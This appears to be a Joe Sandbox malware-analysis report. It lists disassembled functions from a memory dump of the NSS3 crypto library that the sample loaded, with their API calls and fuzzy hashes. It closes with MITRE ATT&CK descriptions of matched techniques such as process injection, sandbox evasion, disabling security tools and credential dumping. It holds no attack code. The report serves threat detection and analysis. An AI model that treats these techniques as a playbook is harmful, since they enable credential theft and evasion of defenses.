PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF

Part of subcall function 6CAD8800: TlsGetValue.KERNEL32(?,6CAE085A,00000000,?,6CA88369,?), ref: 6CAD8821
Part of subcall function 6CAD8800: TlsGetValue.KERNEL32(?,?,6CAE085A,00000000,?,6CA88369,?), ref: 6CAD883D
Part of subcall function 6CAD8800: EnterCriticalSection.KERNEL32(?,?,?,6CAE085A,00000000,?,6CA88369,?), ref: 6CAD8856
Part of subcall function 6CAD8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAD8887
Part of subcall function 6CAD8800: PR_Unlock.NSS3(?,?,?,?,6CAE085A,00000000,?,6CA88369,?), ref: 6CAD8899

PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6

Part of subcall function 6CAD88E0: TlsGetValue.KERNEL32(00000000,?,?,6CAE08AA,?), ref: 6CAD88F6
Part of subcall function 6CAD88E0: EnterCriticalSection.KERNEL32(?,?,?,?,6CAE08AA,?), ref: 6CAD890B
Part of subcall function 6CAD88E0: PR_NotifyCondVar.NSS3(?,?,?,?,?,6CAE08AA,?), ref: 6CAD8936
Part of subcall function 6CAD88E0: PR_Unlock.NSS3(?,?,?,?,?,6CAE08AA,?), ref: 6CAD8940

PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CondCriticalEnterErrorHashLookupSectionTableUnlock$ConstNotifyWait
String ID:
API String ID: 2112424139-0
Opcode ID: 197c60b84301ff478df0bd264aaa36282cd83c5189f3a5e82099b79c422f43dc
Instruction ID: b3eafe815f1b4a52866b6d556368e994c43f4c2a5240a011036dcdeb163d82fc
Opcode Fuzzy Hash: 197c60b84301ff478df0bd264aaa36282cd83c5189f3a5e82099b79c422f43dc
Instruction Fuzzy Hash: 82F0A9F6E1015127EA1215657C08C9F3A78AB9BBED7491131ED0893711FF12D998A3E2

Function 6CAE24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CABC154,000000FF,00000000,00000000,00000000,00000000,?,?,6CABC154,?), ref: 6CAE24FA
PORT_Alloc_Util.NSS3(00000000,?,6CABC154,?), ref: 6CAE2509

Part of subcall function 6CAE0BE0: malloc.MOZGLUE(6CAD8D2D,?,00000000,?), ref: 6CAE0BF8
Part of subcall function 6CAE0BE0: TlsGetValue.KERNEL32(6CAD8D2D,?,00000000,?), ref: 6CAE0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6CAE2525
free.MOZGLUE(00000000), ref: 6CAE2532

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 7ba9114cd86d2ffa0f12e7b99c0279a43ac65922c703d61373e5ec8c71ddc156
Instruction ID: 8a42ae7512db6e7e91151e5b32f4dfce82f94ff33cfd2c01c5ce1847bf8c8749
Opcode Fuzzy Hash: 7ba9114cd86d2ffa0f12e7b99c0279a43ac65922c703d61373e5ec8c71ddc156
Instruction Fuzzy Hash: 0AF0F6B230212237FA2029BA6C18E773AACDB067F9B180330BD28C66C0DD10D841D1F1

Function 6CB90660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CB97B1B,?,?,?,?,?,?,?,?,?,6CB9798A), ref: 6CB90670

Part of subcall function 6CB49EA0: DeleteCriticalSection.KERNEL32(?), ref: 6CB49EAA

free.MOZGLUE(?,00000000,00000000,?,?,6CB97B1B,?,?,?,?,?,?,?,?,?,6CB9798A), ref: 6CB90696
free.MOZGLUE(00000004,6CB97B1B,?,?,?,?,?,?,?,?,?,6CB9798A), ref: 6CB906C7
free.MOZGLUE(?,00000000,00000000,?,?,6CB97B1B,?,?,?,?,?,?,?,?,?,6CB9798A), ref: 6CB906E9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: 9b1faed35cbf932120c5a346d04a76e3be672ea22b6a4dd9e9cc20a252c3f0c1
Instruction ID: 22cffe0b57b627ae7fb5b424081f9b5537ecf3293e44d01154a6b5894a7762a3
Opcode Fuzzy Hash: 9b1faed35cbf932120c5a346d04a76e3be672ea22b6a4dd9e9cc20a252c3f0c1
Instruction Fuzzy Hash: 841180F97012619FEF40CF18D884B0637B8EB4E788F6C4175D40987612C771E415CB96

Function 6CB2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CB15D40,00000000,?,?,6CB06AC6,6CB1639C), ref: 6CB2AC2D

Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE10
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE24
Part of subcall function 6CACADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CAAD079,00000000,00000001), ref: 6CACAE5A
Part of subcall function 6CACADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE6F
Part of subcall function 6CACADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAE7F
Part of subcall function 6CACADC0: TlsGetValue.KERNEL32(?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEB1
Part of subcall function 6CACADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CAACDBB,?,6CAAD079,00000000,00000001), ref: 6CACAEC9

PK11_FreeSymKey.NSS3(?,6CB15D40,00000000,?,?,6CB06AC6,6CB1639C), ref: 6CB2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CB15D40,00000000,?,?,6CB06AC6,6CB1639C), ref: 6CB2AC59
free.MOZGLUE(8CB6FF01,6CB06AC6,6CB1639C,?,?,?,?,?,?,?,?,?,6CB15D40,00000000,?,6CB1AAD4), ref: 6CB2AC62

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 5dfdb7f6e129aab2564c6224145ab51016002be588927c2d062bf8b1f06ace3d
Instruction ID: a5a90e2e4aba7dc0f656a480398165ffb31724f4b76764ba9b7f0b1b9c46f928
Opcode Fuzzy Hash: 5dfdb7f6e129aab2564c6224145ab51016002be588927c2d062bf8b1f06ace3d
Instruction Fuzzy Hash: 680128B56002149BDB00DF15EDC0B667BA8EB44B5CF1880A8E9498F706D735E848CBA2

Function 6CB10450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6CB14710,?,000F4240,00000000), ref: 6CB1046B
GetLastError.KERNEL32(?,6CB14710,?,000F4240,00000000), ref: 6CB10479

Part of subcall function 6CB2BF80: TlsGetValue.KERNEL32(00000000,?,6CB1461B,-00000004), ref: 6CB2C244

PR_Unlock.NSS3(40C70845,?,6CB14710,?,000F4240,00000000), ref: 6CB10492
PR_SetError.NSS3(FFFFE89D,00000000,?,6CB14710,?,000F4240,00000000), ref: 6CB104A5

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 16a9f17c673d85ae435caac8ac89664dc0bfa3023867a4cfa7ed704e5df94595
Instruction ID: 4e8fe8fa80728aa4f4596102e39a4052ba015dc62ca58ecc93b41e8293db5dab
Opcode Fuzzy Hash: 16a9f17c673d85ae435caac8ac89664dc0bfa3023867a4cfa7ed704e5df94595
Instruction Fuzzy Hash: FFF0B470B082C55BEB10AAB6BC98B6A33B9DB0530DF148434E80EC7E50EE25E464C652

Function 6CAA87E0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CAA87EA
PK11_DestroyTokenObject.NSS3(?,00000000), ref: 6CAA8809
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAA8818
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAA8821

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Destroy$K11_Private$CertCertificateFromObjectToken
String ID:
API String ID: 3228624125-0
Opcode ID: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction ID: 196a28eb089c4e18d5c2d5023202beb8b8295c9619ad614a213cd801c68e5343
Opcode Fuzzy Hash: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction Fuzzy Hash: 2DE0E5B7D0215827D60119A5BD44A8E361C8B886BCF0C4231ED0A5B742FB26DD9E83E2

Function 6CB9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CB9CC61
free.MOZGLUE ref: 6CB9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CB9CC80
free.MOZGLUE(?), ref: 6CB9CC87

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 63855311e59aab3544e54a11f932fb119658c9a3ce5d3e3eb56ab42802127ec7
Instruction ID: da64afc706055f49904e27ea8143a03974d0227f167dcbe3a15482497c05199b
Opcode Fuzzy Hash: 63855311e59aab3544e54a11f932fb119658c9a3ce5d3e3eb56ab42802127ec7
Instruction Fuzzy Hash: 64E030767006189BCA10EFA8DC4488677ACEE4D2703150565E691C3700D631F905CBA1

Function 6CAD4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAD4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CAD4DE6

Strings

%d.%d, xrefs: 6CAD4DDE

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: afe66d3f44c18ee2fa934d4a710ba4d8fd69982b78531bafb1c706c525920d97
Instruction ID: d9a3b90a6894c73c007cc2aae85172b7cd0b15e7e7631786fe3e4fb1b21d6222
Opcode Fuzzy Hash: afe66d3f44c18ee2fa934d4a710ba4d8fd69982b78531bafb1c706c525920d97
Instruction Fuzzy Hash: 3A31ECB2D042586BEB105FA09C05BFF7768DF45308F050469ED55A7781EB30A949CBA1

Function 6CA70F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F1B

Part of subcall function 6CA71370: GetSystemInfo.KERNEL32(?,?,?,?,6CA70936,?,6CA70F20,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000), ref: 6CA7138F

PR_NewLogModule.NSS3(clock,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F25

Part of subcall function 6CA71110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CA70936,00000001,00000040), ref: 6CA71130
Part of subcall function 6CA71110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA70936,00000001,00000040), ref: 6CA71142
Part of subcall function 6CA71110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA70936,00000001), ref: 6CA71167

Strings

clock, xrefs: 6CA70F20

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 63b5118c5e969ce41319293dfa1d77844e2ef1ea83472d9fb2734d14f6bf04aa
Instruction ID: 3be1accaaaa35ceaa06bcc2314d2107527d1f0d8933c8725603c64bc91a702d5
Opcode Fuzzy Hash: 63b5118c5e969ce41319293dfa1d77844e2ef1ea83472d9fb2734d14f6bf04aa
Instruction Fuzzy Hash: FBD0223920014811C961A2579C88BB6B3ECE7C36B9F100826E20C02D400A3480DED276

Function 6CAE0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CAE0DF5
TlsGetValue.KERNEL32 ref: 6CAE0E2D
TlsGetValue.KERNEL32 ref: 6CAE0E58
TlsGetValue.KERNEL32 ref: 6CAE0E84

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: a236181338a84311542dc7450a2e64b2c3848adbb2272f613dfcba4ffb4ac4ac
Instruction ID: c9699e32d2a16cedd00da4e322ba6611c1286c0a1d12289c983e3e4a9cedffc5
Opcode Fuzzy Hash: a236181338a84311542dc7450a2e64b2c3848adbb2272f613dfcba4ffb4ac4ac
Instruction Fuzzy Hash: 2831AEB06443858FDB10AF78858426977B8BF0E748F194679D888C7A21EF3590C5EAD2

Function 6CA3A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6CA3A468,00000000), ref: 6CA3A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CA3A468,00000000), ref: 6CA3A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA3A468,?,6CA3A468,00000000), ref: 6CA3A545
memcpy.VCRUNTIME140(00000001,6CA3A468,00000001,?,?,?,6CA3A468,00000000), ref: 6CA3A57D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: e1d7d1d408c94e72a307bdea2baed2da3abbd86b9cf6a5a71534ffa87c25c073
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 4D11E4B3D0026557DF0089F99C916AF779AAB95268F284234ED28C7780F639994882E1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

